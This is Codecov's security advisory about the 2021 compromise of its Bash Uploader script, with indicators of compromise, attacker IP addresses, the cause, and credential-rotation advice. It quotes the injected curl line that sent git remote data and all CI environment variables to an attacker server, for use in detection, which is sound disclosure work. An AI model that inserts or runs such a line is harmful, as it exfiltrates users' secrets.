April 15th, 2021

Bash Uploader Security Update

  Update 4/29/2021 3PM PT: Through our investigation, we now have additional information concerning what environment variables may have been obtained without authorization and how they may have been used. Affected users can view details within the Codecov application.

Additionally, we have posted our most up-to-date set of IOCs below.
  Note: If you are in the affected user group, at 6 am PT, Thursday, April 15th, we emailed your email address on file from GitHub / GitLab / Bitbucket and added a notification banner in the Codecov application after you log in.

Indicators of Compromise (IOCs)

  • The modified portion of the bash uploader script was as follows - curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://IPADDRESS/upload/v2 || true
  • The IP Addresses where the data was transmitted to from the bash script above were 178.62.86.114, 104.248.94.23
  • Between Jan 31 and Apr 1, there were 108 windows of time while the malicious Bash Uploader was affected. We are confident based on our analysis that the only change ever to be made to the bash uploader was the change above.
  • We have recently obtained a non-exhaustive, redacted set of environment variables that we have evidence were compromised. We also have evidence on how these compromised variables may have been used. Please log-in to Codecov as soon as possible to see if you are in this affected population.

Known IPs In Scope:

The originating IPs used to modify the bash script itself: 

  • 79.135.72.34

The destination IPs. These are IP addresses where the data was transmitted to from the bash script (these IPs were used in the curl call on line 525 above): 

  • 178.62.86.114, 
  • 104.248.94.23

Other IP addresses identified in our investigation, likely related to the threat actor and associated accounts:

  • 185.211.156.78
  • 91.194.227.*

Other IPs that may be related to this incident (not confirmed by Codecov):

  • 5.189.73.*
  • 218.92.0.247
  • 122.228.19.79
  • 106.107.253.89
  • 185.71.67.56
  • 45.146.164.164
  • 118.24.150.193
  • 37.203.243.207
  • 185.27.192.99

About the Event

Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect you. On Thursday, April 1, 2021, we learned that someone had gained unauthorized access to our Bash Uploader script and modified it without our permission. The actor gained access because of an error in Codecov’s Docker image creation process that allowed the actor to extract the credential required to modify our Bash Uploader script.

Immediately upon becoming aware of the issue, Codecov secured and remediated the affected script and began investigating any potential impact on users. A third-party forensic firm has been engaged to assist us in this analysis. We have reported this matter to law enforcement and are fully cooperating with their investigation.

Our investigation has determined that beginning January 31, 2021, there were periodic, unauthorized alterations of our Bash Uploader script by a third party, which enabled them to potentially export information stored in our users' continuous integration (CI) environments. This information was then sent to a third-party server outside of Codecov’s infrastructure.

The Bash Uploader is also used in these related uploaders: Codecov-actions uploader for Github, the Codecov CircleCl Orb, and the Codecov Bitrise Step (together, the “Bash Uploaders”). Therefore, these related uploaders were also impacted by this event.

The altered version of the Bash Uploader script could potentially affect:

  • Any credentials, tokens, or keys that our customers were passing through their CI runner that would be accessible when the Bash Uploader script was executed.
  • Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys.
  • The git remote information (URL of the origin repository) of repositories using the Bash Uploaders to upload coverage to Codecov in CI.

Recommend Actions for Affected Users

Because of our commitment to trust and transparency, we have worked diligently to determine the potential impact to our customers and identify customers who may have used the Bash Uploaders during the relevant time periods. For affected users, we have emailed you on April 15th using you email address on file from Github / Gitlab / Bitbucket, and there is a notification banner after you log in to Codecov.

We strongly recommend affected users immediately re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders.

You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system.

Specifically, the bash script was altered as follows:
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://<redacted>/upload/v2 || true
Note that the IP address of the third party server has been redacted as it is currently part of an ongoing federal investigation

Additionally, if you use a locally stored version of a Bash Uploader, you should check that version for the following:

curl -sm 0.5 -d “$(git remote -v)

If this appears anywhere in your locally stored Bash Uploader, you should immediately replace the bash files with the most recent version from https://codecov.io/bash.

If you use a self-hosted (on-premises) version of Codecov, it is very unlikely you are impacted. To be impacted, your CI pipeline would need to be fetching the Bash Uploader from https://codecov.io/bash instead of from your self-hosted Codecov installation. You can verify from where you are fetching the Bash Uploader by looking at your CI pipeline configuration.

If you conducted a checksum comparison before using our Bash Uploaders as part of your CI processes, this issue may not impact you.

Actions Taken by Codecov

We have taken a number of steps to address this situation including: 

  • rotating all relevant internal credentials, including the key used to facilitate the modification of the Bash Uploader;
  • auditing where and how the key was accessible;
  • setting up monitoring and auditing tools to ensure that this kind of unintended change cannot occur to the Bash Uploader again; and
  • working with the hosting provider of the third-party server to ensure the malicious webserver was properly decommissioned.

Codecov maintains a variety of information security policies, procedures, practices, and controls. We continually monitor our network and systems for unusual activity, but Codecov, like any other company, is not immune to this type of event. We are also working to further enhance security so we can stay ahead of this type of activity, including reinforcing our security tools, policies, and procedures.

We will continue to share with you as much information as we are able and encourage you to reach out to us with any questions or concerns you have at security@codecov.io.

We value the trust you place in us and our solutions and pledge to continuously work to earn it. We regret any inconvenience this may cause and are committed to minimizing any potential impact on you, our users and customers.

Sincerely,
Jerrod Engelberg
CEO, Codecov

FAQs